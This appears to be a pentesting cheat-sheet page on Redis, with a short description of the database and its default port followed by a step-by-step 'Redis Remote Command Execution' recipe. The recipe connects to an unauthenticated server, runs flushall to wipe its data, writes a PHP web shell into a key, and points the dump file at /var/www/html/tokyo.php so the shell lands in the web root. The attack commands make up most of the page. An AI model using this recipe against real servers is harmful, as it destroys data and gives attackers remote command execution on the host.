---
description: Remote Dictionary Server
---

# Redis

{% hint style="info" %}
* <mark style="color:purple;">**Is an**</mark> [<mark style="color:purple;">**in-memory**</mark>](https://en.wikipedia.org/wiki/In-memory_database) [<mark style="color:purple;">**key–value**</mark>](https://en.wikipedia.org/wiki/Key%E2%80%93value_database) [<mark style="color:purple;">**database**</mark>](https://en.wikipedia.org/wiki/Database)<mark style="color:purple;">**, used as a**</mark> [<mark style="color:purple;">**distributed cache**</mark>](https://en.wikipedia.org/wiki/Distributed_cache) <mark style="color:purple;">**and**</mark> [<mark style="color:purple;">**message broker**</mark>](https://en.wikipedia.org/wiki/Message_broker)<mark style="color:purple;">**, with optional**</mark> [<mark style="color:purple;">**durability**</mark>](https://en.wikipedia.org/wiki/Durability_\(database_systems\))<mark style="color:purple;">**.**</mark>
* <mark style="color:red;">**`Standard Port 6379`**</mark>
{% endhint %}

<details>

<summary><mark style="color:red;"><strong><code>Redis Remote Command Execution</code></strong></mark></summary>

[<kbd><mark style="color:orange;">**Writeup**<mark style="color:orange;"></kbd>](https://packetstorm.news/files/id/134200)

1. <mark style="color:purple;">Connect to</mark> <mark style="color:orange;">**`redis`**</mark>

{% code lineNumbers="true" %}
```sh
nc localhost 6379
telnet 192.168.1.11 6379
```
{% endcode %}

2. <mark style="color:purple;">Check if authorization is required:</mark>

```sh
echo "Hey no AUTH required!"
```

3. <mark style="color:purple;">Flush the memory:</mark>

```sh
flushall
```

4. <mark style="color:purple;">Write the web-shell:</mark>

{% code overflow="wrap" %}
```sh
set access "<? system($_REQUEST['cmd']); ?>"
```
{% endcode %}

5. <mark style="color:purple;">Set the file name:</mark>

```sh
config set dbfilename tokyo.php
```

6. <mark style="color:purple;">Set the file path:</mark>

```sh
config set dir /var/www/html/
```

7. <mark style="color:purple;">Finally save the file:</mark>

```sh
save
```

</details>
